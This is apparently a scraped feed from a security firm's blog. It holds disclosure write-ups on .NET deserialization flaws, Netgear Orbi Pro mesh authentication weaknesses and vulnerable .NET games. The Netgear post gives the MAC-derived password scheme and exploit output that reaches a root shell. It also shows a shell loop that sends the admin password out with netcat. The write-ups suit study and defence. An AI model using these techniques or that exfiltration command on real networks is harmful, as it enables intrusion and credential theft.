</span></span><span class="line"><span class="cl">      [...]
</span></span><span class="line"><span class="cl">      int bodyType = message.BodyType;
</span></span><span class="line"><span class="cl">      if (bodyType == 768)
</span></span><span class="line"><span class="cl">      {
</span></span><span class="line"><span class="cl">        Stream bodyStream = message.BodyStream;
</span></span><span class="line"><span class="cl">        return this.formatter.Deserialize(bodyStream);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This allows  the use  of arbitrary deserialization  gadgets and  can be
</span></span><span class="line"><span class="cl">used to  execute arbitrary code  when somebody retrieves  messages from
</span></span><span class="line"><span class="cl">the message queue.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">5. Proof of Concept exploits
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">PoC  exploits are  provided  as separate  git  repos containing  Visual
</span></span><span class="line"><span class="cl">Studio Solutions.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  IsolatedStorageVulnerability  solution demonstrates  vulnerability
</span></span><span class="line"><span class="cl">4.1.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">After executing the PoC, any vulnerable program enumerating the Machine
</span></span><span class="line"><span class="cl">scope will  execute a program  when deserializing the  payload. Running
</span></span><span class="line"><span class="cl">&#34;storeadm /List&#34;  in the  Visual Studio  Developer Console  for example
</span></span><span class="line"><span class="cl">will trigger the vulnerability.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The RemotingVulnerability solution demonstrates vulnerabilities 4.2.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">It contains two projects:
</span></span><span class="line"><span class="cl">    * RemotingService - a bare bones Remoting server
</span></span><span class="line"><span class="cl">    * RemotingExploit - the actual exploit
</span></span><span class="line"><span class="cl">When the server is running  and configured with TypeFilterLevel.Low the
</span></span><span class="line"><span class="cl">exploit will crash  the server process. When the server  is running and
</span></span><span class="line"><span class="cl">configured  with TypeFilterLevel.Full  the  exploit  will trigger  code
</span></span><span class="line"><span class="cl">execution in the server process.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The MSMQ solution demonstrates vulnerability 4.3.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">It contains two projects:
</span></span><span class="line"><span class="cl">    * MSMQ Reader - a small program polling messages from an MSMQ
</span></span><span class="line"><span class="cl">    * MSMQ Exploit - the actual exploit
</span></span><span class="line"><span class="cl">When the  reader is running  the exploit  will cause code  execution to
</span></span><span class="line"><span class="cl">occur as  soon as  the getter of  the Body property  of the  Message is
</span></span><span class="line"><span class="cl">accessed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">All  projects use  the TypeConfuseDelegate  gadget with  SortedSet`1 to
</span></span><span class="line"><span class="cl">reach code execution from the deserialization vulnerability.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Please find the PoC projects at GitHub:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage
</span></span><span class="line"><span class="cl">* https://github.com/modzero/MZ-20-03_PoC_NetRemoting
</span></span><span class="line"><span class="cl">* https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">6. Workarounds
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">For 4.2, restricting  access to  the remoting  channel will  reduce the
</span></span><span class="line"><span class="cl">potential  attack vectors.  When  using Tcp  or  Icp channels, enabling
</span></span><span class="line"><span class="cl">authentication can  mitigate some  risks as  well. If  possible setting
</span></span><span class="line"><span class="cl">TypeFilterLevel to  Low will  mitigate the  RCE to  a DoS  but business
</span></span><span class="line"><span class="cl">cases might require using TypeFilterLevel.Full
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">For 4.3, if possible, restrict access to any queue unless necessary.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">7. Fix
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Currently, no fixes are available.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">8. Credits
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> * Nils Ole Timm
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">9. About modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  independent  Swiss-German  company modzero  assists  clients  with
</span></span><span class="line"><span class="cl">security analysis  in the  complex areas  of  computer  technology. The
</span></span><span class="line"><span class="cl">focus  lies  on   highly  detailed  technical   analysis  of  concepts,
</span></span><span class="line"><span class="cl">software   and hardware   components as  well as   the development   of
</span></span><span class="line"><span class="cl">individual   solutions.  Colleagues  at  modzero   work exclusively  in
</span></span><span class="line"><span class="cl">practical, highly  technical computer-security  areas and  can  draw on
</span></span><span class="line"><span class="cl">decades  of  experience  in  various  platforms,  system  concepts, and
</span></span><span class="line"><span class="cl">designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com
</span></span><span class="line"><span class="cl">contact@modzero.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero  follows  coordinated  disclosure  practices  described   here:
</span></span><span class="line"><span class="cl">https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This  policy  should have  been  sent to  the  vendor along  with  this
</span></span><span class="line"><span class="cl">security advisory.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">10. Disclaimer
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-----------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information in the advisory is  believed to be accurate at the time
</span></span><span class="line"><span class="cl">of  publishing based  on currently  available information.  Use of  the
</span></span><span class="line"><span class="cl">information  constitutes acceptance  for  use in  an  AS IS  condition.
</span></span><span class="line"><span class="cl">There are  no warranties with  regard to this information.  Neither the
</span></span><span class="line"><span class="cl">author  nor  the  publisher  accepts  any  liability  for  any  direct,
</span></span><span class="line"><span class="cl">indirect,  or consequential  loss or  damage  arising from  use of,  or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>New security advisory regarding vulnerabilities in .Net</title><link>https://modzero.com/en/blog/dotnet-security-advisory/</link><pubDate>Tue, 16 Jun 2020 00:00:00 +0200</pubDate><author>modzero</author><category>disclosure</category><guid>https://modzero.com/en/blog/dotnet-security-advisory/</guid><description>Today, we publish a new advisory for some vulnerabilities, that have been found by our team-mate Nils Ole Timm (@firzen14).
</description><content:encoded><![CDATA[<p>Today, we publish a new advisory for some vulnerabilities, that have
been found by our team-mate Nils Ole Timm
<a href="https://twitter.com/firzen14">(@firzen14)</a>.</p>
<p>Nils spent some time with .Net deserialization attacks and research. In
April 2020 we already published an article about his <a href="https://modzero.com/en/blog/deserialization-attacks-in-dotnet-games/">Deserialization
Attacks in .Net
Games</a>.</p>
<p>While the gaming industry thankfully fixed all of the reported issues,
Microsoft elected to manage rather than fix the reported issues. For
this advisory, two of them were not considered vulnerabilities by
Microsoft as &quot;by design&quot;. The third one was originally planned to be
fixed, but a week before the disclosure deadline Microsoft informed us
that they would only add a warning to their documentation.</p>
<p>Proof of Concept code is provided for each vulnerability right here:</p>
<ul>
<li><a href="https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage">https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage</a></li>
<li><a href="https://github.com/modzero/MZ-20-03_PoC_NetRemoting">https://github.com/modzero/MZ-20-03_PoC_NetRemoting</a></li>
<li><a href="https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter">https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter</a></li>
</ul>
<p>The direct link to the advisory is
<a href="https://modzero.com/en/advisories/mz-20-03-vulnerabilities-in-dotnet/">https://modzero.com/en/advisories/mz-20-03-vulnerabilities-in-dotnet/</a></p>
]]></content:encoded></item><item><title>How Netgear meshed(*) up WiFi for Business</title><link>https://modzero.com/en/blog/netgear-meshed-up/</link><pubDate>Mon, 18 May 2020 00:00:00 +0200</pubDate><author>modzero</author><category>disclosure</category><guid>https://modzero.com/en/blog/netgear-meshed-up/</guid><description>(*) I'm really sorry for the pun line.
One day in December, I decided to actually build something. Something more or less useful. So, I paused breaking stuff (I really did) to create something that could help enhance the security-level of WiFi networks. I failed.
</description><content:encoded><![CDATA[<p>(*) I'm really sorry for the pun line.</p>
<p><img src="/static/netgear-orbi/squirrel.jpg" alt=""></p>
<p>One day in December, I decided to actually <em>build</em> something. Something
more or less useful. So, I paused breaking stuff (I <em>really</em> did) to
create something that could help enhance the security-level of WiFi
networks. I failed.</p>
<p>When I set out to build the thing I mentioned above, it also involved
taking a closer look at our recently acquired <a href="https://www.netgear.com/orbi-pro/">Netgear Orbi Pro WiFi
Mesh</a> system.</p>
<p>And when I say take a closer look I mean: I had to figure out how to use
<em>public APIs that are not supposed to be public</em>. In this particular
case, the public API is a SOAP interface, available on the local network
(not the Internet).</p>
<p><em>Public APIs that are not supposed to be public</em> are defined by three
attributes:</p>
<ol>
<li>they are public</li>
<li>they are undocumented</li>
<li>they are still public</li>
</ol>
<p>However, accessing interesting parts of the APIs requires authentication
against the SOAP Web application running on each Netgear Orbi Pro Mesh
device. When I tried to figure out how Netgear implemented
Machine-to-Machine (M2M) authentication between Router/Access Point and
Mesh-Satellites, <a href="https://knowyourmeme.com/memes/i-accidentally">I
accidentally</a> the whole
network-confidentiality and -integrity.</p>
<p>But first, let's have a short introduction to this Orbi Pro Mesh WiFi
thing:</p>
<h2 id="the-netgear-orbi-pro-wifi-mesh-network">The Netgear Orbi Pro WiFi Mesh network</h2>
<p>The Netgear Orbi Pro Mesh WiFi system can provide a large coverage of
WiFi signal over a large area within buildings, halls, and outdoors. Up
to four separated 2.4GHz and 5GHz networks can be set up for different
purposes:</p>
<ol>
<li>[Wireless 1] Main network with administrative access</li>
<li>[Wireless 2] Employee network with limited access to admin
interfaces</li>
<li>[Wireless 3] Separate IoT/employee network</li>
<li>[Guest] Unencrypted guest network with &quot;Guest Portal&quot;</li>
</ol>
<p>The satellites are connected to the WiFi Router/Access-Point using a
mesh network:</p>
<figure><img src="/static/netgear-orbi/orbimesh.png"><figcaption>
      <h4>Fig.1 - Source: https://www.netgear.at/landings/mesh-network/images/Orbi_DaisyChain.png</h4>
    </figcaption>
</figure>

<p>This allows distribution of your WiFi network signal evenly across your
property, building, hall and whatnot. This is fine. Really! Until you
decide to spend less resources on security-architecture and
cryptography.</p>
<h2 id="so-what-went-wrong">So what went wrong...?</h2>
<p><img src="/static/netgear-orbi/thisisfine.jpg" alt=""></p>
<p>At some point, Netgear decided that provisioning of newly added
Mesh-satellites does not need to be cryptographically secure.
Convenience kills security; still in 2020 and even with one-time actions
such as setting up a new mesh node.</p>
<p>The problem: Merge a new Mesh satellite into an existing WiFi setup.
Already existing nodes shall accept and trust the newbie right away.</p>
<p>Netgear's solution: Ignore the benefits of presupposition of physical
access to the devices that are part of the provisioning process, by
pressing two buttons on router/AP and satellite. Instead, Netgear
implemented a secret authentication mechanism, to authenticate
mesh-nodes among themselves.</p>
<p>However, this secret authentication mechanism only involves publicly
obtainable information which is: The MAC-addresses of each
communication-peer. This means that you are only allowed to call the
administrative SOAP API if you know the MAC address of your target
satellite as well as your own MAC address:</p>
<p>If the MAC-address of your own computer within the WiFi network ends
with A4:A5:A6 and the MAC address of the target satellite ends with
B4:B5:B6, you can easily authenticate with username &quot;orbi&quot; and the
ascii(MD5-Hash sum) of the string
&quot;NETGEAR_Orbi_A4_A5_A6_B4_B5_B6_password&quot;.</p>
<h2 id="impact">Impact</h2>
<p>It's kind of a chain reaction. The ability to &quot;guess&quot; authentication
parameters like username/password to access Netgear Orbi WiFi Mesh nodes
with admin privileges via SOAP API, is something that can be exploited
to gather sensitive information (cleartext passwords, etc.)</p>
<p>Using these &quot;credentials&quot;, any (*) network participant is able to
read and write configuration parameters for a particular Mesh-node.</p>
<p>(*) attacker must be on wired network or Orbi WiFi 1. However, if WiFi
2 is allowed to access network nodes in LAN (e.g. printers, etc. - which
is likely in business setups), the attacker could also be on WiFi 2.</p>
<p>Reading and writing Netgear Orbi Pro Mesh parameters lead to Remote Code
Execution (RCE) on the Mesh-satellites and subsequently to
administrative access to the Router/Access Point and eventually the
whole network.</p>
<p>As the curious reader might have noticed, all information that is needed
to deduce the &quot;password&quot; is available to any user in the local
network.</p>
<h2 id="exploitation">Exploitation</h2>
<p>We have uploaded a video to YouTube for documentation:


<div class="youtube-gdpr-container">
  <div class="youtube-gdpr-placeholder" data-id="bCJMCuiCbr4" alt="Demo: Critical Vulnerabilities in NETGEAR Orbi Pro WiFi Mesh System">
    <div class="youtube-gdpr-overlay">
      
        <h3>Demo: Critical Vulnerabilities in NETGEAR Orbi Pro WiFi Mesh System</h3>
      
      <p>This content is hosted by YouTube. By showing the external content you accept the <a href="https://policies.google.com/privacy">YouTube privacy policy</a>.</p>
      <button class="youtube-gdpr-accept">Accept and show content</button>
    </div>
  </div>
</div>

<script>
document.addEventListener('DOMContentLoaded', function() {
  const containers = document.querySelectorAll('.youtube-gdpr-container');
  containers.forEach(container => {
    const button = container.querySelector('.youtube-gdpr-accept');
    const placeholder = container.querySelector('.youtube-gdpr-placeholder');
    const videoId = placeholder.getAttribute('data-id');

    button.addEventListener('click', function() {
      const iframe = document.createElement('iframe');
      iframe.setAttribute('src', `https://www.youtube-nocookie.com/embed/${videoId}`);
      iframe.setAttribute('frameborder', '0');
      iframe.setAttribute('allow', 'encrypted-media; picture-in-picture');
      iframe.setAttribute('allowfullscreen', '');
      placeholder.innerHTML = '';
      placeholder.appendChild(iframe);
    });
  });
});
</script>
</p>
<p>The video shows the whole setup process of an AP-Mode setup using
Mesh-nodes, up until its exploitation (see minute <code>10:40</code>) using our
scripts available at
<a href="https://github.com/modzero/MZ-20-02-NETGEAR-Orbi-Security">https://github.com/modzero/MZ-20-02-NETGEAR-Orbi-Security</a>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl"> $ python3 orbiSatGetShell.py 10.11.42.243 asdfasdf
</span></span><span class="line"><span class="cl">[0] 169.254.222.20  : dc:71:[REDACTED] (eth1)
</span></span><span class="line"><span class="cl">[1] 192.168.56.1    : 0a:00:[REDACTED] (eth2)
</span></span><span class="line"><span class="cl">[...]
</span></span><span class="line"><span class="cl">[7] 10.11.42.149    : dc:71:[REDACTED] (wifi0)
</span></span><span class="line"><span class="cl">[...]
</span></span><span class="line"><span class="cl">[+] Select Interface: 7
</span></span><span class="line"><span class="cl">[*] Query Orbi Satellite at 10.11.42.243 via local interface dc:71:[REDACTED]
</span></span><span class="line"><span class="cl">[*] Device details for 10.11.42.243
</span></span><span class="line"><span class="cl">[-] Device Name:      sat-wkcdv
</span></span><span class="line"><span class="cl">[-] Serial Number:    5836[REDACTED]
</span></span><span class="line"><span class="cl">[-] Firmware Version: V2.5.0.108
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[*] Administrative WLAN
</span></span><span class="line"><span class="cl">[-]    ssid: skynet
</span></span><span class="line"><span class="cl">[-]    mode: WPA2-PSK
</span></span><span class="line"><span class="cl">[-]    psk:  i-1X[REDACTED]
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[*] Guest WLAN
</span></span><span class="line"><span class="cl">[-]    ssid: darknet
</span></span><span class="line"><span class="cl">[-]    mode: WPA2-PSK
</span></span><span class="line"><span class="cl">[-]    psk:  NewP[REDACTED]
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[*] Enable telnet &lt;0v0&gt;
</span></span><span class="line"><span class="cl">[e] Error getting session/timestamp from satellite: 401 (Unauthorized)!
</span></span><span class="line"><span class="cl">[-] new session/timestamp: 569478051
</span></span><span class="line"><span class="cl">[-] Success!
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  —————
</span></span><span class="line"><span class="cl">  R U N
</span></span><span class="line"><span class="cl">  C M D
</span></span><span class="line"><span class="cl">  —————
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">root@SRS60:/# id
</span></span><span class="line"><span class="cl">id
</span></span><span class="line"><span class="cl">uid=0(root) gid=0(root) groups=0(root)
</span></span></code></pre></td></tr></table>
</div>
</div><p>Using these exploits, you can gain root access on any Orbi Mesh
satellite. Of course, it can be tedious to pwn every single satellite
one by one. Instead, let's just get the central Orbi AP/Router root
password, which is conveniently available on each satellite:</p>
<ol>
<li>
<p>Change admin password of Netgear Orbi Mesh satellite.</p>
</li>
<li>
<p>Enable telnet access on satellite.</p>
</li>
<li>
<p>Login as root via telnet.</p>
</li>
<li>
<p>Get original root/admin password of the whole Netgear Orbi WiFi Mesh
network:</p>
<pre><code>while [ 1 ]; do config show | grep http_passwd | nc  6666; sleep 5; done &amp;
</code></pre>
</li>
</ol>
<p><strong>Why?</strong> Netgear decided to sync the AP/Router config to satellites
periodically. In clear-text via HTTP. This means: Waiting for the
original admin password to be synced from AP/Router to satellites is a
matter of minutes.</p>
<h2 id="conclusion">Conclusion</h2>
<p>There are quite a few bonus levels and easter eggs hidden in Netgear's
WiFi Mesh implementation. We found some, and wrote them down <a href="https://www.modzero.com/advisories/MZ-20-02-Netgear-Orbi-Pro-Security.txt">in more
detail
here</a>.
I'm confident that this is only the tip of an iceberg. The <a href="https://kb.netgear.com/000061851/SRR60-Firmware-Version-2-5-2-104">current fix
implemented by Netgear on April
25th</a>
actually prevents me from pwning the system within minutes, but it does
not prevent an attacker from pwning it within days or weeks. By merely
hiding a new or additional authentication method, Netgear did not fix
the root of all evil: the basic stuff.</p>
<p>As of May, 18th 2020, Netgear did not implement well-established
cryptographic methods to ensure the confidentiality, authenticity and
integrity of their business/pro wireless network configuration.</p>
<h2 id="shouts">!Shouts</h2>
<p>If you participate in Netgear's bug bounty program, you are prohibited
from publicly disclosing vulnerabilities. This is wrong and against the
interest of Netgear's own customers.</p>
<p>I encourage you not to participate in their bug bounty program until
this is fixed.</p>
<p>As you can see in the <a href="https://www.modzero.com/advisories/MZ-20-02-Netgear-Orbi-Pro-Security.txt">timeline of our
advisory</a>,
Netgear does not care to give you any feedback about your disclosure.
Instead, like in our case, they silently pushed updates without
notifying us. Also, the vulnerabilities were not even mentioned in their
firmware release notes for
<a href="https://kb.netgear.com/000061851/SRR60-Firmware-Version-2-5-2-104">SRR60</a>
or
<a href="https://kb.netgear.com/000061852/SRS60-Firmware-Version-2-5-2-104">SRS60</a>.</p>
<p>Needless to say, we were never mentioned, let alone thanked, either.</p>
]]></content:encoded></item><item><title>Deserialization Attacks in .Net Games</title><link>https://modzero.com/en/blog/deserialization-attacks-in-dotnet-games/</link><pubDate>Fri, 17 Apr 2020 00:00:00 +0200</pubDate><author>modzero</author><category>research</category><guid>https://modzero.com/en/blog/deserialization-attacks-in-dotnet-games/</guid><description>Today many games are developed using .Net or a modified .Net Runtime like the Unity engine. This of course means that deserialization vulnerabilities in .Net can also occur in these games.
</description><content:encoded><![CDATA[<p>Today many games are developed using .Net or a modified .Net Runtime
like the Unity engine. This of course means that deserialization
vulnerabilities in .Net can also occur in these games.</p>
<p>Serialization functionality seems to mainly be used to store save games.
Less frequent uses include user generated content or network transfer of
information.</p>
<p>We&rsquo;ve discovered several such vulnerabilities in games using our own
tooling and will elaborate on a few of them as well as common patterns
and pitfalls as well as mitigations here.</p>
<p><strong><em>It goes without saying that all of the vulnerabilities discussed
below have already been fixed.</em></strong></p>
<h2 id="tooling-and-approach">Tooling and Approach</h2>
<p>To find potential deserialization vulnerabilities we used our own
<strong>NetGadget</strong> tool, which we plan to release in the near future.</p>
<p>To interactively analyze vulnerabilities and debug potential exploits we
used <strong><a href="https://github.com/0xd4d/dnSpy">dnSpy</a></strong> which is an <strong>amazing</strong>
.Net decompiler, analyzer and debugger.</p>
<p>As a test for the NetGadget tool we scanned a complete Steam Library for
usage of <strong>BinaryFormatter</strong>, as a potential sink for a deserialization
attack, as seen in Figure 1:</p>
<figure><img src="/static/game-deserialization/NetGadgetScan.png"><figcaption>
      <h4>Figure 1 - Scanning for BinaryFormatter recursively through a Steam Library</h4>
    </figcaption>
</figure>

<p>Our tool scans any .dll or .exe file it encounters for a method call
matching the pattern given by the <strong>-m</strong> parameter and stores the
information about them in one file per dll or exe.</p>
<p>Since we are looking for vulnerabilities in games, the
<strong>Assembly-CSharp.dll</strong> files, which are where Unity stores a game's
custom code, are of particular interest and are highlighted below.</p>
<figure><img src="/static/game-deserialization/NetGadgetScanOutput.png"><figcaption>
      <h4>Figure 2 - Output of scan</h4>
    </figcaption>
</figure>

<p>Each of the generated output files contains information about which
functions were called and from where.</p>
<p>Of particular interest are of course calls to
BinaryFormatter::Deserialize, since they are potential sinks for a
deserialization attack.</p>
<figure><img src="/static/game-deserialization/NetGadgetScanFile.png"><figcaption>
      <h4>Figure 3 - Extracted method call information</h4>
    </figcaption>
</figure>

<p>When a game using BinaryFormatter is discovered, we need to check for
deserialization gadgets within it. Because Unity for instance only loads
DLLs included in the games folders, it is necessary to verify which
gadgets actually exist since not all known gadgets for that .Net version
may be available.<br>
Using NetGadget this process can be significantly sped up, since it can
automatically scan for the existance of such gadgets.</p>
<p>Figure 4 for example shows a scan of the game Dragon Cliff. It uses
BinaryFormatter insecurely, but the only potential gadget chain our tool
reports is a false positive. This particular false positive generally
shows up when .Net 2.0 is being used and gives a good indication that no
gadget chains are available.</p>
<figure><img src="/static/game-deserialization/NetGadgetNoGadget.png"><figcaption>
      <h4>Figure 4 - No real gadget chain in Dragon Cliff</h4>
    </figcaption>
</figure>

<p>If you compare this to Figure 5, the scan of Tabletop Simulator, a lot
more gadget candidates are shown, among them some well known gadget
chains, like TempFileCollection or
TypeConfuseDelegate^<a href="https://googleprojectzero.blogspot.com/2017/04/">1</a>^.</p>
<figure><img src="/static/game-deserialization/NetGadgetGadgetsFound.png"><figcaption>
      <h4>Figure 5 - Excerpt of gadget chain candidates of Tabletop Simulator</h4>
    </figcaption>
</figure>

<p>Once a potential entry point and the existence of deserialization
gadgets have been confirmed, as a next step the potential entry points
and their call trees need to be evaluated manually with <strong>dnSpy</strong> or a
similiar tool.</p>
<p>This approach has proved efficient in quickly reducing the number of
games potentially vulnerable to .Net deserialization attacks. The
scanned steam library contained around 400 games (not all of them made
in .Net). Eventually around 30 vulnerable games were identified of which
14 were exploitable.</p>
<h2 id="deserialization-attacks-in-totally-accurate-battle-simulator">Deserialization Attacks in Totally Accurate Battle Simulator</h2>
<p>We will refrain from using screenshots of code that isn't ours. For
this reason the following explanations of the details of certain
vulnerabilities will discuss the control flow and function names, but
not the details of the code in question.</p>
<p>Where is serialization used</p>
<p>Totally Accurate Battle Simulator by Landfall Games is a sandbox game
that simulates battles with ragdoll physics.<br>
BinaryFormatter is used to let Players build custom battles and
campaigns and to share them over the Steam Workshop</p>
<p>NetGadget flagged the following methods as using the call to <strong>BinaryFormatter::Deserialize</strong>:</p>
<ul>
<li>Landfall.TABS.Workshop.CampaignHandler::GetLoadedCampaignFromDisk</li>
<li>Landfall.TABS.Workshop.CampaignHandler::LoadFactionFromDisk</li>
<li>Landfall.TABS.Workshop.CampaignHandler::GetLoadedLayoutFromDisk</li>
<li>Landfall.TABS.Save.SteamSavesLoader::ReadLocal</li>
<li>Landfall.TABS.Save.SteamSavesLoader::OnRemoteStorageFileReadAsyncComplete</li>
</ul>
<p>This leads to two distinct vulnerabilities. One involves the loading
of save games and affects the last two functions, the other involves
the loading of custom campaigns and battles and affects the first
three.</p>
<h3 id="save-game-vulnerability">Save Game Vulnerability</h3>
<p>This vulnerability is short and sweet.<br>
Since <strong>OnRemoteStorageFileReadAsyncComplete</strong> will eventually also
call <strong>ReadLocal</strong>, it's enough to investigate what is required to
exploit ReadLocal.</p>
<p><strong>ReadLocal</strong> simply reads all bytes of the save file and
deserializes them with BinaryFormatter. Thus it's enough to
overwrite the save file to trigger a deserialization vulnerability.</p>
<p>After replacing the save game with a TypeConfuseDelegate payload and
starting the game, we see Figure 6 - Success!</p>
<figure><img src="/static/game-deserialization/TABSSave.png"><figcaption>
      <h4>Figure 6 - Sample payload starting two cmd.exe processes</h4>
    </figcaption>
</figure>

<h3 id="workshop-vulnerability">Workshop Vulnerability</h3>
<p>This vulnerability is a little more involved, but can be used
remotely through the Steam Workshop. Due to the nature of the
workshop this vulnerability was only tested locally to prevent the
accidental spread of the exploit.</p>
<p>The loading of a faction, campaign or layout from disk will
deserialize the associated data. All of those functions are
internally called either when a mod is already installed and is
being loaded or through a custom content loader's
<strong>LoadLocalCustomContent</strong> method.</p>
<p>Depending on the type of the content, it will invoke either of the
vulnerable functions. The <strong>LoadLocalCustomContent</strong> itself is only
called by the content loader's <strong>QuickRefresh</strong> method.</p>
<p>The <strong>QuickRefresh</strong> method is called from a lot of different
sections in code, most interestingly by <strong>OnDownloadSuccess</strong> and
<strong>OnSubSuccess</strong> as well as the <strong>onModBinaryInstalled</strong> callback.</p>
<p>This means that after a mod has been downloaded it will immediately
be deserialized, allowing an attacker to trigger the vulnerability
by uploading a mod to the Steam Workshop</p>
<h2 id="deserialization-attacks-in-tabletop-simulator">Deserialization Attacks in Tabletop Simulator</h2>
<p>We will refrain from using screenshots of code that isn't ours. For
this reason the following explanations of the details of certain
vulnerabilities will discuss the control flow and function names,
but not the details of the code in question.</p>
<h3 id="where-is-serialization-used">Where is Serialization Used</h3>
<p>Tabletop Simulator by Berserk Games is a multiplayer physics sandbox
that allows players to create and play tabletop games remotely.</p>
<p>In order to facilitate the exchange of games and the storing of
table states the game employs two different methods of
serialization: Newtonsofts' JsonSerializer and BinaryFormatter. The
vulnerabilities we've found lie in the parts of the code that use
BinaryFormatter.</p>
<p>BinaryFormatter is used to load what the code refers to as a
PhysicsState.</p>
<p>The deserialization of such a physics state can either be triggered
over the network through the <strong>LoadPromotedPhysicsState RPC call</strong>
or through the loading of a mod that isn't in JSON format.</p>
<h3 id="the-rpc-vulnerability">The RPC Vulnerability</h3>
<p>Tabletop Simulator has an RPC mechanism that is, among other things,
used to administrate a game host remotely.</p>
<p>One of these administrative functions is
<strong>LoadPromotedPhysicsState</strong>.<br>
It gets passed an array of bytes which are then used to call
<strong>GetPhysicsState</strong>, which in turn calls
<strong>BinaryFormatter::Deserialize</strong> with the data. To call this
function two criteria need to be met.</p>
<ul>
<li>Firstly it may only be called on the <strong>host</strong> of a game.</li>
<li>Secondly it may only be called by users with admin privileges in that hosts session.</li>
<li>Requiring administrative privileges on a server to exploit the host seems restrictive at first. A server&rsquo;s host can however migrate the hosting of the game to another client on the server. This causes two main changes in user roles in the game.</li>
<li>Firstly it makes the client, that was migrated to, a host, fulfilling the first requirement.</li>
<li>Secondly the former host is promoted to admin in the new hosts session, fulfilling the second requirement.</li>
<li>Thus a malicious host can meet both requirements by migrating the host to their target. They can then send an arbitrary byte array to the newly created host&rsquo;s <strong>LoadPromotedPhysicsState</strong> method, triggering deserialization with arbitrary data.</li>
</ul>
<p>This allows a deserialization attack to be performed which can
execute arbitrary code remotely.</p>
<p>The following video demonstrates this attack from the victims
perspective.</p>


<div class="youtube-gdpr-container">
